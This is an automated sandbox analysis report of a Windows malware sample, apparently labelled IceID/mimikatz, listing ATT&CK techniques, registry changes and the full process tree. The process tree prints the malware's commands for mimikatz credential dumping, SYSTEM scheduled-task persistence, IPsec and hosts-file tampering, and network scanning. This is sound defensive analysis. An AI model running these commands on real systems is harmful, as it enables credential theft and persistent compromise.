Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kcuyyg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mwebabk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	enbltlpnr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnbbltzyb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4632	cmd.exe
3768	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000a000000023b9b-6.dat	nsis_installer_2
behavioral2/files/0x000a000000023bb3-15.dat	nsis_installer_1
behavioral2/files/0x000a000000023bb3-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mwebabk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mwebabk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mwebabk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	mwebabk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mwebabk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mwebabk.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	tzntbfcjz.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	mwebabk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	mwebabk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	mwebabk.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3768	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1084	schtasks.exe
3800	schtasks.exe
1872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	1772	mwebabk.exe
Token: SeDebugPrivilege	1912	mwebabk.exe
Token: SeDebugPrivilege	4220	vfshost.exe
Token: SeDebugPrivilege	2960	tzntbfcjz.exe
Token: SeLockMemoryPrivilege	4896	cllalu.exe
Token: SeLockMemoryPrivilege	4896	cllalu.exe
Token: SeDebugPrivilege	752	tzntbfcjz.exe
Token: SeDebugPrivilege	1312	tzntbfcjz.exe
Token: SeDebugPrivilege	2820	tzntbfcjz.exe
Token: SeDebugPrivilege	3196	tzntbfcjz.exe
Token: SeDebugPrivilege	3768	tzntbfcjz.exe
Token: SeDebugPrivilege	3740	tzntbfcjz.exe
Token: SeDebugPrivilege	1504	tzntbfcjz.exe
Token: SeDebugPrivilege	4020	tzntbfcjz.exe
Token: SeDebugPrivilege	4824	tzntbfcjz.exe
Token: SeDebugPrivilege	688	tzntbfcjz.exe
Token: SeDebugPrivilege	4028	tzntbfcjz.exe
Token: SeDebugPrivilege	4160	tzntbfcjz.exe
Token: SeDebugPrivilege	3264	tzntbfcjz.exe
Token: SeDebugPrivilege	3748	tzntbfcjz.exe
Token: SeDebugPrivilege	1600	tzntbfcjz.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
1772	mwebabk.exe
1772	mwebabk.exe
1912	mwebabk.exe
1912	mwebabk.exe
556	xohudmc.exe
4512	kcuyyg.exe
1608	mwebabk.exe
1608	mwebabk.exe
5408	mwebabk.exe
5408	mwebabk.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4024 wrote to memory of 4632	4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe	83
PID 4024 wrote to memory of 4632	4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe	83
PID 4024 wrote to memory of 4632	4024	2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe	83
PID 4632 wrote to memory of 3768	4632	cmd.exe	85
PID 4632 wrote to memory of 3768	4632	cmd.exe	85
PID 4632 wrote to memory of 3768	4632	cmd.exe	85
PID 4632 wrote to memory of 1772	4632	cmd.exe	86
PID 4632 wrote to memory of 1772	4632	cmd.exe	86
PID 4632 wrote to memory of 1772	4632	cmd.exe	86
PID 1912 wrote to memory of 3048	1912	mwebabk.exe	88
PID 1912 wrote to memory of 3048	1912	mwebabk.exe	88
PID 1912 wrote to memory of 3048	1912	mwebabk.exe	88
PID 3048 wrote to memory of 692	3048	cmd.exe	90
PID 3048 wrote to memory of 692	3048	cmd.exe	90
PID 3048 wrote to memory of 692	3048	cmd.exe	90
PID 3048 wrote to memory of 4572	3048	cmd.exe	91
PID 3048 wrote to memory of 4572	3048	cmd.exe	91
PID 3048 wrote to memory of 4572	3048	cmd.exe	91
PID 1912 wrote to memory of 5048	1912	mwebabk.exe	92
PID 1912 wrote to memory of 5048	1912	mwebabk.exe	92
PID 1912 wrote to memory of 5048	1912	mwebabk.exe	92
PID 3048 wrote to memory of 1196	3048	cmd.exe	95
PID 3048 wrote to memory of 1196	3048	cmd.exe	95
PID 3048 wrote to memory of 1196	3048	cmd.exe	95
PID 3048 wrote to memory of 3252	3048	cmd.exe	96
PID 3048 wrote to memory of 3252	3048	cmd.exe	96
PID 3048 wrote to memory of 3252	3048	cmd.exe	96
PID 3048 wrote to memory of 1972	3048	cmd.exe	97
PID 3048 wrote to memory of 1972	3048	cmd.exe	97
PID 3048 wrote to memory of 1972	3048	cmd.exe	97
PID 3048 wrote to memory of 3536	3048	cmd.exe	98
PID 3048 wrote to memory of 3536	3048	cmd.exe	98
PID 3048 wrote to memory of 3536	3048	cmd.exe	98
PID 1912 wrote to memory of 380	1912	mwebabk.exe	99
PID 1912 wrote to memory of 380	1912	mwebabk.exe	99
PID 1912 wrote to memory of 380	1912	mwebabk.exe	99
PID 1912 wrote to memory of 3896	1912	mwebabk.exe	101
PID 1912 wrote to memory of 3896	1912	mwebabk.exe	101
PID 1912 wrote to memory of 3896	1912	mwebabk.exe	101
PID 1912 wrote to memory of 1132	1912	mwebabk.exe	115
PID 1912 wrote to memory of 1132	1912	mwebabk.exe	115
PID 1912 wrote to memory of 1132	1912	mwebabk.exe	115
PID 1132 wrote to memory of 2496	1132	cmd.exe	117
PID 1132 wrote to memory of 2496	1132	cmd.exe	117
PID 1132 wrote to memory of 2496	1132	cmd.exe	117
PID 2496 wrote to memory of 3460	2496	wpcap.exe	118
PID 2496 wrote to memory of 3460	2496	wpcap.exe	118
PID 2496 wrote to memory of 3460	2496	wpcap.exe	118
PID 3460 wrote to memory of 1908	3460	net.exe	120
PID 3460 wrote to memory of 1908	3460	net.exe	120
PID 3460 wrote to memory of 1908	3460	net.exe	120
PID 2496 wrote to memory of 3132	2496	wpcap.exe	121
PID 2496 wrote to memory of 3132	2496	wpcap.exe	121
PID 2496 wrote to memory of 3132	2496	wpcap.exe	121
PID 3132 wrote to memory of 2020	3132	net.exe	123
PID 3132 wrote to memory of 2020	3132	net.exe	123
PID 3132 wrote to memory of 2020	3132	net.exe	123
PID 2496 wrote to memory of 2708	2496	wpcap.exe	124
PID 2496 wrote to memory of 2708	2496	wpcap.exe	124
PID 2496 wrote to memory of 2708	2496	wpcap.exe	124
PID 2708 wrote to memory of 4408	2708	net.exe	126
PID 2708 wrote to memory of 4408	2708	net.exe	126
PID 2708 wrote to memory of 4408	2708	net.exe	126
PID 2496 wrote to memory of 752	2496	wpcap.exe	127

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2096
- C:\Windows\TEMP\heglkltzt\cllalu.exe
  "C:\Windows\TEMP\heglkltzt\cllalu.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4896

C:\Users\Admin\AppData\Local\Temp\2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-14_2c4a83e8e76e87a3b3fc793b748c20d7_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\izvjmbrb\mwebabk.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4632
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3768
- - C:\Windows\izvjmbrb\mwebabk.exe
    C:\Windows\izvjmbrb\mwebabk.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1772

C:\Windows\izvjmbrb\mwebabk.exe
C:\Windows\izvjmbrb\mwebabk.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:692
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:4572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1196
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3252
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1972
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3536
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5048
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:380
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3896
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\vtecbbeeu\vltbqcbqt\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\vtecbbeeu\vltbqcbqt\wpcap.exe
    C:\Windows\vtecbbeeu\vltbqcbqt\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3460
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1908
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3132
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2020
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2708
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4408
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4056
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4612
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1064
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1664
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:4692
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3704
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\vtecbbeeu\vltbqcbqt\enbltlpnr.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\vtecbbeeu\vltbqcbqt\Scant.txt
  2⤵
  PID:1772
- - C:\Windows\vtecbbeeu\vltbqcbqt\enbltlpnr.exe
    C:\Windows\vtecbbeeu\vltbqcbqt\enbltlpnr.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\vtecbbeeu\vltbqcbqt\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2904
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\vtecbbeeu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\vtecbbeeu\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2040
- - C:\Windows\vtecbbeeu\Corporate\vfshost.exe
    C:\Windows\vtecbbeeu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bkvcanvad" /ru system /tr "cmd /c C:\Windows\ime\mwebabk.exe"
  2⤵
  PID:3156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bkvcanvad" /ru system /tr "cmd /c C:\Windows\ime\mwebabk.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1872
